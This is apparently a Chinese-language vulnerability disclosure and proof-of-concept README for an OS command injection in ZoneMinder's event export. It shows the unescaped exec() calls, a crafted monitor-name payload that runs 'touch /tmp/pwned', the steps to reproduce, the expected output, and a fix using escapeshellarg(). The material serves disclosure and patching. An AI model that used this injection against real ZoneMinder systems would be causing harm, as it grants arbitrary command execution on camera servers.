针对 ZoneMinder 事件导出功能(web/includes/download_functions.php)中 OS 命令注入漏洞的概念验证。
监控器名称通过手动单引号包裹的方式直接插入到 shell 命令中,而非使用 escapeshellarg()。能够创建监控器的攻击者可以注入任意 shell 命令,当任何用户触发事件导出时,这些命令将以 www-data/进程运行用户身份执行。
44c5c3c 引入了 download_functions.php 文件。提交信息为“引入新的下载模式,将事件视频按监控器合并为单个文件。”漏洞代码在此处出现,但需要管理员先创建监控器。2d49e93 “为监控器引入创建权限,使指定用户可以编辑现有监控器,但不能创建新监控器。”情况在此发生变化。现在,仅拥有 Monitors=Create 权限的用户即可设置用于攻击的监控器名称,而任何拥有导出权限的用户都可以触发攻击。受影响版本:>= 1.37.48(包含 SQL 迁移更改)且 <= 1.38.1 1.36.x 分支不受影响。
两个用户。两种权限级别。一个 shell。
Monitors=Create 权限,如果已有监控器则拥有 权限。Monitors=Edit事件记录无需手动创建。ZoneMinder 是一个摄像头系统……它会随着摄像头运行自动创建事件记录。在实际部署中,设置步骤为:创建监控器,然后离开。
未经净化的监控器名称会到达两个独立的 exec() 调用:
第 126 行 | ffmpeg:
$cmd = ZM_PATH_FFMPEG.' -f concat -safe 0 -i event_files.txt -c copy \''.$export_dir.'/'.$mergedFileName. '\' 2>&1';
exec($cmd, $output, $return);
第 150 行 | tar/zip:
$command .= ' \''.$mergedFileName.'\'';
if (executeShelCommand($command, $deleteFile = $mergedFileName) === false) return false;
无论导出格式如何,两者都可以通过同一个精心构造的监控器名称触达。
git clone https://github.com/investigato/zoneminder-rce-poc.git
cd zoneminder-rce-poc
docker compose up -d
# 等待 ZoneMinder 完成初始化(约 30 秒)
uv run poc.py
init.sql 以启用认证的方式引导数据库,并创建两个用户:
medpriv 拥有监控器创建权限(为节省时间也拥有事件创建权限,但在生产环境中并非必需)lowpriv 仅拥有事件导出访问权限uv run poc.py 运行完整攻击链:
medpriv 通过 API 认证并创建一个名为 poc'; touch /tmp/pwned; echo ' 的监控器medpriv 创建一个事件记录以加速演示(在生产环境中,ZoneMinder 会自动执行此操作)lowpriv 认证并触发事件导出/tmp/pwned 并打印结果预期输出:
Login: 200
Token: ok
Create monitor: 200 — {"message":"Saved"}
Created monitor ID=1 name="poc'; touch /tmp/pwned; echo '"
Create event: 200
Event ID=1
Login: 200
Token: ok
Export: 200 = {"result":"Ok","exportFile":"?view=download&type=zip&file=Export.zip","exportFormat":"zip","connkey":""}
Deleted event 1
Deleted monitor 1
Did it work?
running docker exec ... ls -la /tmp/pwned inside the container to check if the file was created
Success! Command injection worked, /tmp/pwned was created inside the container.
-rw-r--r-- 1 www-data www-data 0 Jun 6 18:32 /tmp/pwned
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HAV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N无论如何,至少使用 escapeshellarg() 不费吹灰之力。
b3a7c05 中修复[!NOTE] 报告后 12 小时内修复。维护者未确认这是安全问题。我不同意 更新于 8/27/26 - 维护者已确认报告,CVE 已发布。
至少在两个注入点应用 escapeshellarg():
// 第 126 行
$cmd = ZM_PATH_FFMPEG.' -f concat -safe 0 -i event_files.txt -c copy '.escapeshellarg($export_dir.'/'.$mergedFileName).' 2>&1';
// 第 150 行
$command .= ' '.escapeshellarg($mergedFileName);
generateFileList() 中的第 116 行和第 211 行存在相同的模式。
发现者(@investigato)
完整分析文章:scriptkittens.com